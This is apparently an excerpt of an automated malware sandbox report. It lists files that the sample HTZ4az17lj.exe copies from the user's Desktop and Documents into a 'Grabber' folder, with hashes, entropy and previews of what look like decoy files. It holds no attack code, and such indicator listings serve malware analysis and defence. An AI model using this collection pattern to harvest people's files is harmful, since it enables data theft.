Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\BJZFPPWAPT.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\EFOYFBOLXA.pdf

Download File

